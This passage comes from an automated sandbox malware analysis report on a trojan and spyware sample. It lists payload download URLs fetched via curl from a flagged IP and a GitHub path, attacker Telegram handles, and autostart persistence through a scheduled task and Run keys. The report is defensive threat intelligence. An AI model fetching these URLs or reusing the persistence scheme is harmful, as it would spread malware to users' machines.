                                                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameZOL2mIYAUH.exe, 00000000.00000002.3720014163.00000000047DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1327908559.0000000004D01000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmp, qqq.scr, 00000018.00000002.3715480219.0000000005101000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1707922266.0000000004F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1753231348.00000000047B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1814588649.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1882121555.0000000004F51000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://79.110.49.246/didedba/dddveocurl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exejcurl.exe, 00000015.00000003.1543397786.0000000002B15000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000015.00000002.1543978663.0000000002B15000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://79.110.49.246/didedba/dddvescurl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exeYvcurl.exe, 00000015.00000003.1543419156.0000000002AF0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://nuget.org/NuGet.exepowershell.exe, 00000008.00000002.1331519717.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1721126389.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1776932795.0000000005817000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://t.me/freakcodingspotfff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.00000000050EF000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://www.google.com/images/branding/product/ico/googleg_lodp.icofff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://pesterbdd.com/images/Pester.pngpowershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000008.00000002.1327908559.0000000004E56000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1707922266.00000000050D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1753231348.0000000004906000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1814588649.0000000004516000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://t.me/TheDyerfff.scr, 00000017.00000002.1627355609.0000000005273000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005129000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.000000000528D000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.000000000534E000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://contoso.com/Iconpowershell.exe, 0000001F.00000002.1931775752.0000000005FB4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://79.110.49.246/didedba/abcncurl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://www.ecosia.org/newtab/fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://79.110.49.246/didedba/abck0curl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://github.com/Pester/Pesterpowershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://79.110.49.246/didedba/abcecurl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                http://79.110.49.246/didedba/abccejcurl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://ac.ecosia.org/autocomplete?q=fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://www.typoland.com/)srtware.exe.21.drfalse
                                                                                    		high
                                                                                    http://79.110.49.246/didedba/abc-oC:curl.exe, 0000000E.00000002.1394377275.0000000002AC0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    http://crl.micropowershell.exe, 00000008.00000002.1326963673.0000000002ED8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://go.micrpowershell.exe, 0000001F.00000002.1961955418.00000000077E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      http://79.110.49.246/didedba/abck$curl.exe, 0000000E.00000002.1394377275.0000000002AC8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000008.00000002.1327908559.0000000004E56000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1707922266.00000000050D6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1753231348.0000000004906000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1814588649.0000000004516000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1882121555.00000000050A6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://79.110.49.246/didedba/dddv32curl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://79.110.49.246/didedba/dddvcecurl.exe, 00000010.00000002.1443859445.00000000004C8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://scripts.sil.org/OFL).http://www.typoland.com/designers/Lukasz_Dziedzic/http://www.typoland.cosrtware.exe.21.drfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        http://www.enigmaprotector.com/ZOL2mIYAUH.exe, fff.scrfalse
                                                                                          		high
                                                                                          https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=fff.scr, 00000017.00000002.1630207447.000000000618A000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006170000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1630207447.0000000006156000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://79.110.49.246/didedba/dddv-oC:curl.exe, 00000010.00000002.1443859445.00000000004C0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe-oC:curl.exe, 00000015.00000002.1543877418.0000000002AE0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://t.me/webster480fff.scr, 00000017.00000002.1627355609.0000000005273000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005129000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.000000000528D000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.000000000534E000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.0000000005071000.00000004.00000800.00020000.00000000.sdmp, fff.scr, 00000017.00000002.1627355609.00000000050D9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://crl.microspowershell.exe, 0000001D.00000002.1844472674.0000000006DE8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high

                                                                                                  World Map of Contacted IPs

                                                                                                  • No. of IPs < 25%
                                                                                                  • 25% < No. of IPs < 50%
                                                                                                  • 50% < No. of IPs < 75%
                                                                                                  • 75% < No. of IPs

                                                                                                  Public IPs

                                                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                                                  79.110.49.246
                                                                                                  		unknownGermany
                                                                                                  		57287OTAVANET-ASCZtrue
                                                                                                  185.199.109.133
                                                                                                  		raw.githubusercontent.comNetherlands
                                                                                                  		54113FASTLYUSfalse
                                                                                                  104.26.0.100
                                                                                                  		get.geojs.ioUnited States
                                                                                                  		13335CLOUDFLARENETUSfalse

                                                                                                  Private

                                                                                                  IP
                                                                                                  127.0.0.1

                                                                                                  General Information

                                                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                                                  Analysis ID:1561594
                                                                                                  Start date and time:2024-11-23 21:08:07 +01:00
                                                                                                  Joe Sandbox product:CloudBasic
                                                                                                  Overall analysis duration:0h 11m 35s
                                                                                                  Hypervisor based Inspection enabled:false
                                                                                                  Report type:full
                                                                                                  Cookbook file name:default.jbs
                                                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                  Number of analysed new started processes analysed:41
                                                                                                  Number of new started drivers analysed:0
                                                                                                  Number of existing processes analysed:0
                                                                                                  Number of existing drivers analysed:0
                                                                                                  Number of injected processes analysed:0
                                                                                                  Technologies:
                                                                                                  • HCA enabled
                                                                                                  • EGA enabled
                                                                                                  • AMSI enabled
                                                                                                  Analysis Mode:default
                                                                                                  Analysis stop reason:Timeout
                                                                                                  Sample name:ZOL2mIYAUH.exe
                                                                                                  renamed because original name is a hash value
                                                                                                  Original Sample Name:789473143f4f1465f0221fca36ac25f48cae1223f51c9d6219544b27879ec3a6.exe
                                                                                                  Detection:MAL
                                                                                                  Classification:mal100.troj.spyw.evad.winEXE@41/30@2/4
                                                                                                  EGA Information:
                                                                                                  • Successful, ratio: 100%
                                                                                                  HCA Information:
                                                                                                  • Successful, ratio: 57%
                                                                                                  • Number of executed functions: 544
                                                                                                  • Number of non-executed functions: 21
                                                                                                  Cookbook Comments:
                                                                                                  • Found application associated with file extension: .exe
                                                                                                  • Override analysis time to 240s for sample files taking high CPU consumption

                                                                                                  Warnings

                                                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
                                                                                                  • Excluded domains from analysis (whitelisted): www.bing.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                                                  • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                  • Report size getting too big, too many NtCreateKey calls found.
                                                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                  • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                  • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                  • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                  • VT rate limit hit for: ZOL2mIYAUH.exe

                                                                                                  Simulations

                                                                                                  Behavior and APIs

                                                                                                  TimeTypeDescription
                                                                                                  15:09:07API Interceptor51x Sleep call for process: powershell.exe modified
                                                                                                  16:40:43API Interceptor165001x Sleep call for process: ZOL2mIYAUH.exe modified
                                                                                                  16:40:46API Interceptor1x Sleep call for process: fff.scr modified
                                                                                                  16:41:22API Interceptor137389x Sleep call for process: qqq.scr modified
                                                                                                  22:41:30Task SchedulerRun new task: winnotify path: C:\Users\Public\winnotify.scr
                                                                                                  22:41:30AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run winnotify C:\Users\Public\winnotify.scr
                                                                                                  22:41:39AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run winnotify C:\Users\Public\winnotify.scr
                                                                                                  22:41:49AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winnotify.lnk

                                                                                                  Joe Sandbox View / Context

                                                                                                  IPs

                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                  185.199.109.133cr_asm3.ps1Get hashmaliciousUnknownBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
                                                                                                  gabe.ps1Get hashmaliciousUnknownBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
                                                                                                  5UIy3bo46y.dllGet hashmaliciousUnknownBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
                                                                                                  HQsitBLlOv.dllGet hashmaliciousUnknownBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
                                                                                                  steamcodegenerator.exeGet hashmaliciousUnknownBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
                                                                                                  OSLdZanXNc.exeGet hashmaliciousUnknownBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
                                                                                                  steamcodegenerator.exeGet hashmaliciousUnknownBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
                                                                                                  SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dllGet hashmaliciousMetasploitBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
                                                                                                  SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dllGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                  • raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
                                                                                                  104.26.0.100file.exeGet hashmaliciousUnknownBrowse
                                                                                                    file.exeGet hashmaliciousUnknownBrowse
                                                                                                      http://braintumourresearch.orgGet hashmaliciousUnknownBrowse
                                                                                                        https://www.filemail.com/t/NU6GESpWGet hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                                                                                          https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkeyconserv.com%2Fskoda%2FWIA2PParYO43z1bgCVStAX12/ZHVjZXIua2FtZ2FuZ0BjbmVzc3QuZ291di5xYy5jYQ==Get hashmaliciousUnknownBrowse
                                                                                                            https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fkeyconserv.com%2Fskoda%2Ff1mgxnH4u4JYtjrvS13irZ65/am9zZWUub3VlbGxldEBjbmVzc3QuZ291di5xYy5jYQ==Get hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                                                                                              https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bg%C2%ADloba%C2%ADlproc%C2%ADessi%C2%ADngne%C2%ADtwo%C2%ADrk.%E2%80%8Bne%C2%ADt%2Ffghd%2Fgfjfjfg%2FlZUdcjNeQOlJngwGts6Dr8m3/Y2hhZC5yYXNtdXNlbkB0aGVybW9zeXN0ZW1zLmNvbQ==Get hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                                                                                                https://g.page/r/CbPyKO_ogGK3EAg/reviewGet hashmaliciousHTMLPhisher, Tycoon2FABrowse
                                                                                                                  P09Qwe9fqsKdQIyTGnGxNs8xS[1]Get hashmaliciousTycoon2FABrowse
                                                                                                                    Remittance AdviceNote c6b2e2a43485b7b75999a5332e86646fGet hashmaliciousHTMLPhisher, Tycoon2FABrowse

                                                                                                                      Domains

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                      raw.githubusercontent.comSTMod_32bit.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.108.133
                                                                                                                      STMod.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.111.133
                                                                                                                      ST Mod - Patcher.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.108.133
                                                                                                                      STMod_32bit.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.108.133
                                                                                                                      STMod.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.108.133
                                                                                                                      y.batGet hashmaliciousBraodoBrowse
                                                                                                                      • 185.199.111.133
                                                                                                                      OGo8AQxn4k.vbsGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      3o2WdGwcLF.vbsGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      HnJdZm51Xl.exeGet hashmaliciousAmadey, Clipboard HijackerBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      file.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.108.133
                                                                                                                      get.geojs.ioWDSecureUtilities(1).exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 104.26.1.100
                                                                                                                      system.exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 172.67.70.233
                                                                                                                      B6EGeOHEFm.exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 104.26.1.100
                                                                                                                      Q60ZbERXWZ.exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 104.26.1.100
                                                                                                                      nuVM6HVKRG.exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 104.26.1.100
                                                                                                                      XCubQJqiz7.exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 104.26.1.100
                                                                                                                      upd.ps1Get hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 172.67.70.233
                                                                                                                      WDSecureUtil.exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 104.26.1.100
                                                                                                                      DBp7mBJwqD.exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 172.67.70.233
                                                                                                                      nuVM6HVKRG.exeGet hashmaliciousPhemedrone StealerBrowse
                                                                                                                      • 104.26.1.100

                                                                                                                      ASNs

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                      OTAVANET-ASCZWMdKM7E5Yg.exeGet hashmaliciousQuasarBrowse
                                                                                                                      • 79.110.49.79
                                                                                                                      Auftragsbest#U00e4tigung 20241107_pdf.com.exeGet hashmaliciousQuasarBrowse
                                                                                                                      • 79.110.49.79
                                                                                                                      DeGrsOm654.exeGet hashmaliciousQuasarBrowse
                                                                                                                      • 79.110.49.113
                                                                                                                      Bestellung - 20240001833.com.exeGet hashmaliciousQuasarBrowse
                                                                                                                      • 79.110.49.79
                                                                                                                      3coxOaV92n.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 79.110.49.185
                                                                                                                      khwHsyfsJ1.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 79.110.49.185
                                                                                                                      Qjq85KfhBC.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 79.110.49.185
                                                                                                                      96r3GgxntQ.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 79.110.49.185
                                                                                                                      e5mSvqt7Ho.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 79.110.49.185
                                                                                                                      xrWUzly94Z.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 79.110.49.185
                                                                                                                      FASTLYUSfile.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.65.91
                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.129.91
                                                                                                                      https://www.google.co.kr/url?url=https://hrtyuytitwagtxswxzqxpcm&jtdm=hjstxxb&qhwocq=elw&vrszx=mrursi&rtz=qksmlok&sdyxm=kxlpun&hnkj=iujyvng&vochgqf=ylsd&pkhfd=vyifcj&nymdhak=ffn&ylzv=xpddvxaj&zoadnebgoj=rccejsmuqd&q=amp/hmf1bnz.s%C2%ADlf%C2%ADpg%C2%ADq%C2%ADq%C2%ADwzu%C2%ADx%C2%ADppns%C2%ADc%C2%ADs%C2%AD.com%E2%80%8B/n7brnx1iy&lbgq=ihcrvpx&isffrcc=xjcvvbbd&hokv=buitobfj&nfzezydbgm=lhtjhglyxx&pjwu=tdsgcse&cesnzrb=ekoykarj&ifpv=yabmwecd&acyeqkflup=bacwibnnwl&dovx=vqvcdxk&rwbvdtj=khlezois&efgx=ktfpexjt&iqggbgjmwh=cvqmvfdelx&gqsh=ghsdgye&hipceti=hpqeesqk&hkvbucxuvo=drwoirzwsq&dril=qbpemxo&xziwtam=tdvywqlj&nndiwyldry=kjqbehmdbj&kqef=faiqetj&peigggc=vbyfdxky&fstmbbtmkx=rjxugltfmc&rpws=borxqez&rijvxqj=ntedqhtd&wohxxxgtmq=jpiozpkrbp&cxah=gcmtksp&tzidqah=syxnwioo&szzishkfke=xmnmodwwoc&xmif=xdxtrqz&ajzcojq=fmtqkshw&gkmh=vmwdknp&xvlhpuf=zkhqqziq&rvfh=igbqint&gdnzlky=hyzlhjke&dqkq=ophpttl&yoamsuz=cuykisoc&frzr=lajcnwi&chdmjpw=hymhkhbw&wnxy=zwkomqb&duxkrfq=asjrwcgu&fzya=hrpcnke&hxrusxm=foudbois&yqgm=uhfvxoo&uynyplq=iryzkatx&qfzs=stmleud&vkbxzkf=hxgbjzit&dnro=vjxntck&kfrldgj=vpyfihbn&nsko=sdzidzb&unudtuz=mnvrwokv&lisf=zxdfari&tdyzrah=otrtzuun&rfza=trokalr&vkfduyc=wpwvnxpe&jjsq=pgkbofh&uatnbjp=gtwiypfq&zilu=kagobvs&jqfufkw=bckrzetp&tjng=jgmmmod&fvdtpsk=vlyzfjep&mgoi=fklhysh&llyljdv=jxpogtdn&gcjv=vjlzkuf&erlhvti=peuprtov&kbxk=jviffkg&lklbxhl=uhzpnzfw&upaw=gfmiehp&ismxijp=hmwbsmgj&zdkc=kodikna&njllvzf=oodglyrw&urdk=cktezyn&vmqhwgh=kqcbhffu&riqy=tlnbqzr&nmlgrkn=inyeynzg&vebu=pwpghzr&ckpmyoc=tmeufjen&otic=svrqsdo&tbwzubGet hashmaliciousUnknownBrowse
                                                                                                                      • 151.101.194.137
                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.193.91
                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.193.91
                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.129.91
                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.193.91
                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.1.91
                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.193.91
                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                      • 151.101.193.91
                                                                                                                      CLOUDFLARENETUSowuP726k3d.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                                                      • 172.67.75.40
                                                                                                                      file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                      • 104.21.33.116
                                                                                                                      18sFhgSyVK.exeGet hashmaliciousXWormBrowse
                                                                                                                      • 172.66.0.158
                                                                                                                      kwlYObMOSn.exeGet hashmaliciousXWormBrowse
                                                                                                                      • 104.20.22.46
